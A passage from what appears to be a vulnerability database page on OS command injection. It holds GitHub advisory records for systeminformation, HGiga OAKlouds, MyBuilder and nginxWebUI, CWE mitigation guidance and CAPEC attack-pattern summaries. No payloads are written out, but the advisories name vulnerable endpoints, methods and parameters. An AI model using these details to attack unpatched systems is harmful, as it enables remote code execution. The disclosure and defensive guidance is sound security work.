effects are produced.\n- The function either returns metadata for the interface or safely returns unknown/default values for fields that cannot be queried.\n- Tests cover all three current sink helpers:\n - DHCP lookup\n - DNS suffix lookup\n - IEEE 802.1x auth lookup\n\nFor unit-level coverage, mock the NetworkManager command wrapper so that `nmcli device status` returns a connection name containing metacharacters, then assert that subsequent calls use argument arrays rather than shell strings.\n\n## Credit request\nIf you publish an advisory or assign a CVE, please credit me as:\n\nAli Firas (thesmartshadow) - https://www.smartshadow.dev",
"id": "GHSA-hvx9-hwr7-wjj9",
"modified": "2026-06-08T23:53:59Z",
"published": "2026-05-13T15:29:21Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/sebhildebrandt/systeminformation/security/advisories/GHSA-hvx9-hwr7-wjj9"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44724"
},
{
"type": "PACKAGE",
"url": "https://github.com/sebhildebrandt/systeminformation"
},
{
"type": "WEB",
"url": "https://github.com/sebhildebrandt/systeminformation/releases/tag/v5.31.6"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Systeminformation vulnerable to Linux command injection in networkInterfaces() via unsanitized NetworkManager connection profile name"
}
GHSA-HVXG-WM6P-C93R
Vulnerability from github – Published: 2024-02-15 03:30 – Updated: 2025-01-23 21:31The functionality for synchronization in HGiga OAKlouds' certain moudules has an OS Command Injection vulnerability, allowing remote attackers to inject system commands within specific request parameters. This enables the execution of arbitrary code on the remote server without permission.
{
"affected": [],
"aliases": [
"CVE-2024-26260"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-02-15T03:15:34Z",
"severity": "CRITICAL"
},
"details": "The functionality for synchronization in HGiga OAKlouds\u0027 certain moudules has an OS Command Injection vulnerability, allowing remote attackers to inject system commands within specific request parameters. This enables the execution of arbitrary code on the remote server without permission.",
"id": "GHSA-hvxg-wm6p-c93r",
"modified": "2025-01-23T21:31:48Z",
"published": "2024-02-15T03:30:20Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-26260"
},
{
"type": "WEB",
"url": "https://www.chtsecurity.com/news/e456f679-9091-4de4-8f78-9262d20d6a96"
},
{
"type": "WEB",
"url": "https://www.twcert.org.tw/tw/cp-132-7673-688b7-1.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-HW28-2WWC-XJ8M
Vulnerability from github – Published: 2022-05-24 16:58 – Updated: 2024-04-04 02:09ActiveX Control in MyBuilder before 6.2.2019.814 allow an attacker to execute arbitrary command via the ShellOpen method. This can be leveraged for code execution
{
"affected": [],
"aliases": [
"CVE-2019-12811"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2019-10-07T15:15:00Z",
"severity": "CRITICAL"
},
"details": "ActiveX Control in MyBuilder before 6.2.2019.814 allow an attacker to execute arbitrary command via the ShellOpen method. This can be leveraged for code execution",
"id": "GHSA-hw28-2wwc-xj8m",
"modified": "2024-04-04T02:09:45Z",
"published": "2022-05-24T16:58:00Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2019-12811"
},
{
"type": "WEB",
"url": "https://www.boho.or.kr/krcert/secNoticeView.do?bulletin_writing_sequence=35155"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-HW69-GV5R-V84F
Vulnerability from github – Published: 2024-04-13 21:30 – Updated: 2024-04-13 21:30A vulnerability classified as critical was found in cym1102 nginxWebUI up to 3.9.9. This vulnerability affects unknown code of the file /adminPage/main/upload. The manipulation of the argument file leads to os command injection. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. VDB-260578 is the identifier assigned to this vulnerability.
{
"affected": [],
"aliases": [
"CVE-2024-3739"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-04-13T19:15:53Z",
"severity": "MODERATE"
},
"details": "A vulnerability classified as critical was found in cym1102 nginxWebUI up to 3.9.9. This vulnerability affects unknown code of the file /adminPage/main/upload. The manipulation of the argument file leads to os command injection. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. VDB-260578 is the identifier assigned to this vulnerability.",
"id": "GHSA-hw69-gv5r-v84f",
"modified": "2024-04-13T21:30:33Z",
"published": "2024-04-13T21:30:33Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-3739"
},
{
"type": "WEB",
"url": "https://github.com/cym1102/nginxWebUI/issues/138"
},
{
"type": "WEB",
"url": "https://github.com/cym1102/nginxWebUI/files/14818455/nginxwebui.rce.3.9.9.pdf"
},
{
"type": "WEB",
"url": "https://vuldb.com/?ctiid.260578"
},
{
"type": "WEB",
"url": "https://vuldb.com/?id.260578"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
}
]
}
Mitigation
If at all possible, use library calls rather than external processes to recreate the desired functionality.
Mitigation MIT-22
Strategy: Sandbox or Jail
- Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software.
- OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations.
- This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise.
- Be careful to avoid CWE-243 and other weaknesses related to jails.
Mitigation
Strategy: Attack Surface Reduction
For any data that will be used to generate a command to be executed, keep as much of that data out of external control as possible. For example, in web applications, this may require storing the data locally in the session's state instead of sending it out to the client in a hidden form field.
Mitigation MIT-15
For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Mitigation MIT-4.3
Strategy: Libraries or Frameworks
- Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
- For example, consider using the ESAPI Encoding control [REF-45] or a similar tool, library, or framework. These will help the programmer encode outputs in a manner less prone to error.
Mitigation MIT-28
Strategy: Output Encoding
While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict allowlist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).
Mitigation
If the program to be executed allows arguments to be specified within an input file or from standard input, then consider using that mode to pass arguments instead of the command line.
Mitigation MIT-27
Strategy: Parameterization
- If available, use structured mechanisms that automatically enforce the separation between data and code. These mechanisms may be able to provide the relevant quoting, encoding, and validation automatically, instead of relying on the developer to provide this capability at every point where output is generated.
- Some languages offer multiple functions that can be used to invoke commands. Where possible, identify any function that invokes a command shell using a single string, and replace it with a function that requires individual arguments. These functions typically perform appropriate quoting and filtering of arguments. For example, in C, the system() function accepts a string that contains the entire command to be executed, whereas execl(), execve(), and others require an array of strings, one for each argument. In Windows, CreateProcess() only accepts one command at a time. In Perl, if system() is provided with an array of arguments, then it will quote each of the arguments.
Mitigation MIT-5
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
- When constructing OS command strings, use stringent allowlists that limit the character set based on the expected value of the parameter in the request. This will indirectly limit the scope of an attack, but this technique is less important than proper output encoding and escaping.
- Note that proper output encoding, escaping, and quoting is the most effective solution for preventing OS command injection, although input validation may provide some defense-in-depth. This is because it effectively limits what will appear in output. Input validation will not always prevent OS command injection, especially if you are required to support free-form text fields that could contain arbitrary characters. For example, when invoking a mail program, you might need to allow the subject field to contain otherwise-dangerous inputs like ";" and ">" characters, which would need to be escaped or otherwise handled. In this case, stripping the character might reduce the risk of OS command injection, but it would produce incorrect behavior because the subject field would not be recorded as the user intended. This might seem to be a minor inconvenience, but it could be more important when the program relies on well-structured subject lines in order to pass messages to other components.
- Even if you make a mistake in your validation (such as forgetting one out of 100 input fields), appropriate encoding is still likely to protect you from injection-based attacks. As long as it is not done in isolation, input validation is still a useful technique, since it may significantly reduce your attack surface, allow you to detect some attacks, and provide other security benefits that proper encoding does not address.
Mitigation MIT-21
Strategy: Enforcement by Conversion
When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.
Mitigation MIT-32
Strategy: Compilation or Build Hardening
Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).
Mitigation MIT-32
Strategy: Environment Hardening
Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).
Mitigation MIT-39
- Ensure that error messages only contain minimal details that are useful to the intended audience and no one else. The messages need to strike the balance between being too cryptic (which can confuse users) or being too detailed (which may reveal more than intended). The messages should not reveal the methods that were used to determine the error. Attackers can use detailed information to refine or optimize their original attack, thereby increasing their chances of success.
- If errors must be captured in some detail, record them in log messages, but consider what could occur if the log messages can be viewed by attackers. Highly sensitive information such as passwords should never be saved to log files.
- Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a user account exists or not.
- In the context of OS Command Injection, error information passed back to the user might reveal whether an OS command is being executed and possibly which command is being used.
Mitigation
Strategy: Sandbox or Jail
Use runtime policy enforcement to create an allowlist of allowable commands, then prevent use of any command that does not appear in the allowlist. Technologies such as AppArmor are available to do this.
Mitigation MIT-29
Strategy: Firewall
Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].
Mitigation MIT-17
Strategy: Environment Hardening
Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.
Mitigation MIT-16
Strategy: Environment Hardening
When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.
CAPEC-108: Command Line Execution through SQL Injection
An attacker uses standard SQL injection methods to inject data into the command line for execution. This could be done directly through misuse of directives such as MSSQL_xp_cmdshell or indirectly through injection of data into the database that would be interpreted as shell commands. Sometime later, an unscrupulous backend application (or could be part of the functionality of the same application) fetches the injected data stored in the database and uses this data as command line arguments without performing proper validation. The malicious data escapes that data plane by spawning new commands to be executed on the host.
CAPEC-15: Command Delimiters
An attack of this type exploits a programs' vulnerabilities that allows an attacker's commands to be concatenated onto a legitimate command with the intent of targeting other resources such as the file system or database. The system that uses a filter or denylist input validation, as opposed to allowlist validation is vulnerable to an attacker who predicts delimiters (or combinations of delimiters) not present in the filter or denylist. As with other injection attacks, the attacker uses the command delimiter payload as an entry point to tunnel through the application and activate additional attacks through SQL queries, shell commands, network scanning, and so on.
CAPEC-43: Exploiting Multiple Input Interpretation Layers
An attacker supplies the target software with input data that contains sequences of special characters designed to bypass input validation logic. This exploit relies on the target making multiples passes over the input data and processing a "layer" of special characters with each pass. In this manner, the attacker can disguise input that would otherwise be rejected as invalid by concealing it with layers of special/escape characters that are stripped off by subsequent processing steps. The goal is to first discover cases where the input validation layer executes before one or more parsing layers. That is, user input may go through the following logic in an application: <parser1> --> <input validator> --> <parser2>. In such cases, the attacker will need to provide input that will pass through the input validator, but after passing through parser2, will be converted into something that the input validator was supposed to stop.
CAPEC-6: Argument Injection
An attacker changes the behavior or state of a targeted application through injecting data or command syntax through the targets use of non-validated and non-filtered arguments of exposed services or methods.
CAPEC-88: OS Command Injection
In this type of an attack, an adversary injects operating system commands into existing application functions. An application that uses untrusted input to build command strings is vulnerable. An adversary can leverage OS command injection in an application to elevate privileges, execute arbitrary commands and compromise the underlying operating system.